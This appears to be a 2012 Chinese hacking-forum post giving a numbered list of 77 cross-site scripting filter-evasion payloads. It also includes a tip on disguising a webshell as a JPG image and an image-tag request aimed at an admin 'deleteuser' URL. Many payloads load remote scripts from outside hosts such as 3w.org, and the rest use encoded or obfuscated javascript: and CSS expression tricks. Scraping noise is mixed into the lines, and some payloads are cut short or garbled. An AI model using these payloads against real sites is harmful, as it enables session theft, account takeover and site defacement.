找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2387|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell
: P9 j; T3 O/ T" J. u! X" gXSS跨站代码  <script>alert("")</script>
' T' c6 c1 D/ X7 E/ [
. K3 S. W1 a+ k4 z& v, e2 ?2 s2 b" h将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
, z' H% N2 B: G0 o" ]- o# ]) \7 v. X" N1 R) H
* i, o' m% L  r1 s% e

7 _6 f1 W$ r' c" B& x  Z6 \1)普通的XSS JavaScript注入! @3 S: I, u2 W& L  {
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 D5 A$ g; }7 h0 {5 X! Q- S/ E
- M8 _( H" d. v- D/ b! o0 }
(2)IMG标签XSS使用JavaScript命令+ A7 y; E; I2 O, j% u* k* Z+ U
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
2 b5 m0 \, G0 [5 z: I
+ [. a/ M6 L8 Z( @- P5 T(3)IMG标签无分号无引号
1 _( A& z2 O7 x  E4 V" _& R* i<IMG SRC=javascript:alert(‘XSS’)>8 A( w" ^8 x% d' {$ F9 T3 r& R

* O* w. e' n5 q. q(4)IMG标签大小写不敏感0 t& x' \3 y- ]  ^3 d. a
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
* Z3 S, d; C2 Z# q7 O, j
( x/ `+ X- ~! a' ~& K- M(5)HTML编码(必须有分号)3 Q( w/ A* ?$ C! V0 R2 F
<IMG SRC=javascript:alert(“XSS”)>8 N9 u  E1 W4 @3 Q% y  j

9 T# K9 J" S. P6 D/ a' B(6)修正缺陷IMG标签2 h6 J0 V  {' E  R9 @
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
9 W, v: d  H1 g, \; i: Z
5 {6 f1 o3 q$ m" e: m# H(7)formCharCode标签(计算器)
" g+ p* L' V# x- T<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>: m  H# }8 l3 J- Y- a

* u. h0 s+ ^4 d- p(8)UTF-8的Unicode编码(计算器)
5 }0 T% m8 H7 U8 o% L* R' M* n<IMG SRC=jav..省略..S')>, E4 ~5 F2 p* V

- \" |: M8 t, w' m& W: B; J! l(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
, N4 X+ r6 h9 z<IMG SRC=jav..省略..S')>
9 q7 Z; Y, z2 G' t# M$ q: A
6 ^: z/ L( q: G(10)十六进制编码也是没有分号(计算器)
( V4 ?: X1 v3 {/ |6 E2 d<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
" G0 Y5 t+ y, e9 G' V2 q9 d: C+ I/ ?4 W
(11)嵌入式标签,将Javascript分开
" J' U2 y8 j  o% V3 G+ w* M6 V<IMG SRC=”jav ascript:alert(‘XSS’);”>& F! Q# a3 U  h6 f

$ d/ d" q9 e2 d: F0 B8 }# p(12)嵌入式编码标签,将Javascript分开
7 i6 Z. E  W% g<IMG SRC=”jav ascript:alert(‘XSS’);”>
0 a: D  M9 R) j
0 ?4 [( i0 s; x4 F(13)嵌入式换行符
' b0 k9 E4 R$ |. @! R# ]<IMG SRC=”jav ascript:alert(‘XSS’);”>
6 A: s. z- X; z9 C4 _, s8 m5 ]$ G, v( i8 t
(14)嵌入式回车
# e1 h5 g" r; o) \5 }. p3 [<IMG SRC=”jav ascript:alert(‘XSS’);”>
) ~( _' W) e: ^% n
) n  P( ]2 v# ^4 M: h7 d8 @9 X/ _1 p(15)嵌入式多行注入JavaScript,这是XSS极端的例子' n; w; g5 Y) M
<IMG SRC=”javascript:alert(‘XSS‘)”>1 _0 E! q- c* O3 P# t3 D* v
- W+ Z6 }$ q% J
(16)解决限制字符(要求同页面)
0 t) S2 f& Y4 k" _2 k3 e" o$ H. @<script>z=’document.’</script>& a5 `/ _2 e6 |; ]
<script>z=z+’write(“‘</script>) d: U* M- t# Z, ?
<script>z=z+’<script’</script># `8 ]! V4 Z, G- G1 a7 u
<script>z=z+’ src=ht’</script># o5 ?# v& `# ?8 t: d$ C6 C0 b0 B
<script>z=z+’tp://ww’</script>. O. ^& d" d1 q' t' M3 A% B
<script>z=z+’w.shell’</script>' s' Y4 M% h3 A
<script>z=z+’.net/1.’</script>
) N4 @; d0 Q% T+ ]6 k( _<script>z=z+’js></sc’</script>5 a" |- I# ^7 ~' ]7 j
<script>z=z+’ript>”)’</script>8 K/ r2 ?6 ^. L4 c8 ]( }6 u
<script>eval_r(z)</script>
, S8 u1 G( `7 \4 b% x
$ t' n8 q# o3 i5 j4 P# n(17)空字符
7 e3 |: f7 B) U& e$ ~) b' H9 c1 wperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
. ]4 Y" {3 Q; E& C
4 e3 b  L6 t7 \* {: |(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
& }1 Y. y" L$ N$ l. E! Zperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
* G1 ?7 k4 h' N
) _2 w' H( K; h* ~% U' w(19)Spaces和meta前的IMG标签& M, T- J' x1 L& n6 E' E% j
<IMG SRC=” javascript:alert(‘XSS’);”>
0 D9 c; y2 p9 o( ~, F! x4 X0 _' c; d* C9 {. [) _8 N; q* [
(20)Non-alpha-non-digit XSS4 j" z" n3 w: i: s+ w+ X8 i
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
/ M  o  S* m- o- U2 ?$ T# E" J1 f6 s6 U6 [" C# U7 ]; f
(21)Non-alpha-non-digit XSS to 2
- G, O2 V1 q$ r$ d, O, `7 @/ J$ O<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>1 ^. A# z- u. T$ c8 d% @! |

& \8 P  w1 \3 x0 L0 Y$ L( Z9 _0 t9 L(22)Non-alpha-non-digit XSS to 3
0 {# X: a5 |. y8 Q% l! ]# t<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>. q. {5 r% _# |
. k" A0 r9 B4 x) W+ n5 s" e  y7 s
(23)双开括号
& m0 n4 X0 M$ X% q* [' n<<SCRIPT>alert(“XSS”);//<</SCRIPT>
8 o# }) |6 ~+ A2 H+ ^
& S' Y% V* J% I4 d' H+ D8 W(24)无结束脚本标记(仅火狐等浏览器)/ |+ `6 W" _+ k+ A9 L9 r1 _
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B># q* W. J7 |( |+ P  f% _+ ^( s: L
' S& `8 Z3 f/ d; s* Q. y& J  S8 o+ k
(25)无结束脚本标记23 C7 ~6 G* a8 r; H
<SCRIPT SRC=//3w.org/XSS/xss.js>( l  {& c( U3 x: i- U: A# a

$ Q4 o1 X; G2 f(26)半开的HTML/JavaScript XSS0 C) Z% H7 p2 z0 r: I
<IMG SRC=”javascript:alert(‘XSS’)”
# Y: j+ Z) [% g# K$ G% m: Y/ [
( Y6 J  E# w% T( y/ g" y* u% ^(27)双开角括号/ C0 Y' b- P) }+ a  N1 S- L
<iframe src=http://3w.org/XSS.html <
! b# _0 Q9 G0 E* U
; N" ~- U1 }* B: ](28)无单引号 双引号 分号
6 J$ L; o6 K8 n9 W: S- ~<SCRIPT>a=/XSS/
5 W5 c4 R" B, P  P; |2 X' malert(a.source)</SCRIPT>$ c) n1 r6 k7 J2 o" k$ i$ _

6 t) g0 j, J. T' C- x' _& }(29)换码过滤的JavaScript
8 t/ h3 R# [5 U  Q# [\”;alert(‘XSS’);//
2 d$ j7 a0 ^& l( {5 |0 R8 g/ M! T$ y  q) d7 q( @. h  S5 A6 Q
(30)结束Title标签5 I. F! `" |- g9 ?
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>9 [% [, W$ W& }% \! N

& k. u1 B6 J1 v1 ~/ b(31)Input Image
: x* ?3 `" ~: X5 N1 w7 l9 o<INPUT SRC=”javascript:alert(‘XSS’);”>
3 _8 z7 K3 l& n' h0 M7 e3 D
# e6 d: o6 c, w! |(32)BODY Image6 |1 P1 {+ O. J1 X* I4 s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>; U; D- `% J  a3 e! d
  u3 _: {  D9 X* P, ~& D
(33)BODY标签4 I0 ^! w1 N. P6 l( N5 g
<BODY(‘XSS’)>8 t+ _+ R% E  d" P& x& q
5 F- x8 J, H+ K$ o
(34)IMG Dynsrc
, e7 D& @/ Z4 u- I- M* Z<IMG DYNSRC=”javascript:alert(‘XSS’)”>
8 s% `+ ^$ E' }( f0 i) \0 r: v5 W; y/ V( p% C3 J& P
(35)IMG Lowsrc
# D9 |; Z; @( g<IMG LOWSRC=”javascript:alert(‘XSS’)”>
9 m6 L1 _1 M7 V& n) f' c
# H, Q2 V9 ?5 f2 C+ q- A& E(36)BGSOUND
/ V; h3 Y, F6 l& _& e+ m<BGSOUND SRC=”javascript:alert(‘XSS’);”>9 e6 `5 Y# Z1 P/ }6 N+ ~0 B

( Z9 q$ r, M1 u( r, h/ k& w(37)STYLE sheet. c* e  [3 a. F. c$ A+ E% ^/ _) m
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>& D9 _! u1 r5 K" d

  X% Y( a4 V0 O/ G$ A7 R  @(38)远程样式表0 U# ?+ e) h3 T/ x
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>7 [) |* f5 \* s0 `0 h# A
! Q/ D' z/ B$ P- D
(39)List-style-image(列表式)+ P2 P5 r; Q+ E& c+ F1 _
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS* Y, d+ @0 B. g; J$ Y( C

) T2 @" _- W2 p9 m% k& N(40)IMG VBscript
+ k6 }1 n7 U+ J% a<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS5 }7 ^6 @4 p$ Y' q; f  r/ r& q
/ z: |) m2 X0 K) E) Y
(41)META链接url0 J& D3 B% L  x5 Z. N+ ^
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
. s) v5 |! g- G
1 l. f. Z& |: G$ a5 H' V(42)Iframe6 C2 y# e+ d9 m: h
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>& l3 ?. w  r! \, v) O( `' a) q
(43)Frame
" ~, R! o6 j, m5 [<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
7 o; B5 N8 n6 m! q! k% @1 h/ o
(44)Table; |' s. e* P: \
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
/ c. O" e+ @( e7 i9 M$ T8 r! N
  ~3 G8 b* p+ w: ]7 ^! U5 `9 z3 A. v(45)TD+ R" u0 u+ n& b
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>$ }: y$ O3 V7 H8 c6 F

7 m- q& }0 W3 i5 n/ m& A' ~  i/ y(46)DIV background-image
) [5 f$ n1 O% {" X8 D) ~<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>" B4 {: q& d, x" ]  ~1 I% \. |7 h
5 ^- g; b9 t7 c" s  D7 Y7 j' n( b
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)& u* {# ?+ A! f) u0 `0 E0 L, ?/ `$ T# A
<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>' C' ?3 d* N  {1 t# Z

( m! u+ q! l* z/ b- g3 e( ](48)DIV expression
- Y" T4 \/ d2 p<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
4 A7 r& r/ n! z1 G0 ^
; Z  S0 u; w$ L4 d% W(49)STYLE属性分拆表达
2 k2 ]' F8 \  A<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
, k5 W: ?) ?0 A. s# ]/ m4 E, Q, u5 k# l: i9 B* A, Y; ^" m
(50)匿名STYLE(组成:开角号和一个字母开头)
# d5 H4 e8 c( f. W<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>4 D  s4 Z. ?+ o6 o4 w5 ~

* y; p( ?% }) j7 f+ P(51)STYLE background-image
8 T: `  Z# w4 J& w3 J' C<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
% S3 Z+ A! H5 _8 w+ o  o+ u' s, A5 q8 P5 _
(52)IMG STYLE方式
/ Z9 p9 f9 p' u( Texppression(alert(“XSS”))’>* F9 ]$ q3 q2 ~, E6 t

" o# ^5 |% {, N8 m( @; s(53)STYLE background- T6 Q) D, {2 n6 Z
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
7 D+ g+ j) `6 }6 J1 ]5 x$ U8 H& \: i4 e' R' b
(54)BASE
9 f' B! |% \' u<BASE HREF=”javascript:alert(‘XSS’);//”>- {4 Z7 P6 G+ S  D- y2 W# E

( R; C6 P0 q+ F, l9 ?) @* a(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS- N, i5 ]% {; z* Y6 s8 [
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
* J3 I0 S4 ]* @3 V8 B6 d) d7 Z  T$ `
(56)在flash中使用ActionScrpt可以混进你XSS的代码( Q: C8 u9 N7 O' p- G: \
a=”get”;; H" r% ~1 w2 M; @: @, d
b=”URL(\”";
  J, V/ r4 k  q- b( u& Sc=”javascript:”;
* y/ }9 C5 e2 T9 A% i& Sd=”alert(‘XSS’);\”)”;
/ Y, r8 {" |! J  p& m7 Peval_r(a+b+c+d);& }/ Q7 w! v; P3 A3 ~0 ?

& A9 U7 Y' l( I4 h6 v3 o(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上: X% ^4 d  b; O: \2 N
<HTML xmlns:xss>
" q2 B5 o- O2 c/ l) I1 A2 c<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
; r4 P! J( b3 b- y, q<xss:xss>XSS</xss:xss># Q* v! F& U8 o( J
</HTML>$ J: z6 G" L( W2 P
7 |2 m. E. J! k! _8 r
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
# \5 s  F) K4 @# A  E<SCRIPT SRC=””></SCRIPT>
1 [. h4 T4 X6 z; G* \
) ]" h1 m& ?& [: O(59)IMG嵌入式命令,可执行任意命令5 i- o6 {+ H* Y
<IMG SRC=”http://www.XXX.com/a.php?a=b”># i. r6 f2 h! B) k0 v
, R6 C* {' Y! M
(60)IMG嵌入式命令(a.jpg在同服务器)4 e, o7 z! v6 @( U! s
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser& X' N( S2 g, l: `9 Y, C) i

1 K7 d) P  s& [# w3 F3 a" A6 P(61)绕符号过滤3 b- d5 b( D( I0 N5 T$ \
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>
7 E! w. ~, t7 _
0 F& u+ ~9 f4 N8 @9 ?, f(62)' ]( A) Y  P  u9 n( V7 r4 [2 g
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>, ~1 `0 [; V  p, |+ r2 \# y% m

& ~% ^) r) Q' \4 y( V(63)
% `' x9 G2 z! B" p2 }. y<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>" v; h% A7 B" I

/ |6 d/ @. q1 B+ @" Y( D(64)+ t( t5 x( h0 I, ]2 y
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>7 t; I; n$ K/ H& Q0 m

9 I- k# {1 [* b1 R7 k(65)& {) N3 A5 ]1 C5 D5 x( o( t
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
6 ~1 Q/ t1 r+ R7 h# D* A
  B5 z7 a6 j$ c, u* e/ a" D9 N(66)
+ f# G7 H2 Q1 i- E" u& ^<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
$ o! V. w" `9 V9 X
1 \$ e" u! j4 p& V/ L  X( N(67)
  q. `+ _! Q! O<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
1 ?6 T8 q" m7 `! O+ d' i7 l
1 a% ~$ p+ W, V! A, Q( L) k0 q" U(68)URL绕行* n% ?- ^: l# i- b. l
<A HREF=”http://127.0.0.1/”>XSS</A>
; u& c) w( e5 @2 g' D7 X* B  O! U% q
(69)URL编码
, L' F1 A4 M' e1 Y2 }<A HREF=”http://3w.org”>XSS</A>
9 i4 D# a3 @* f1 q$ R$ k& ^( S9 j, u& w% j
(70)IP十进制2 B, j+ g6 M7 U/ n: ~
<A HREF=”http://3232235521″>XSS</A>
; }: M- F: o* p: N  C
$ ?% T; ?' h3 c3 b. ^(71)IP十六进制
% y- n  I; |! m1 A' O6 k9 q  v# s<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
  f. B1 |/ [4 S8 X& @
; Q+ S. i; K' y: Y1 @(72)IP八进制
+ i& l8 W7 E2 w5 w& ~<A HREF=”http://0300.0250.0000.0001″>XSS</A>/ {% |8 @( r: _

! s( B" C$ V% |" |& P) e4 Y9 k(73)混合编码9 M( @! K8 @) S
<A HREF=”h4 D1 ^, C) o& e) D  r$ R6 k! c
tt p://6 6.000146.0×7.147/”">XSS</A>
. j9 T) N( t/ X" E! `8 J! T. l% _2 H- H
(74)节省[http:]! l2 P0 f0 @$ h0 a
<A HREF=”//www.google.com/”>XSS</A>+ ^) _: y& b3 x1 t
5 v9 f/ n. j5 Z
(75)节省[www]
) t$ ?2 `5 ]' j) I! }- l<A HREF=”http://google.com/”>XSS</A>0 n% u1 ]+ m! u1 c2 P. g

! x7 J( ?4 {5 H(76)绝对点绝对DNS
- P; @5 |# Y6 |: j<A HREF=”http://www.google.com./”>XSS</A>
4 T) |" I6 a: d$ J6 X% ~9 o/ `# m' j, |; D0 ?1 R, u0 w
(77)javascript链接$ N; w9 u" E' s$ F
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
. }& f1 S. ~# ^+ h6 [! K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表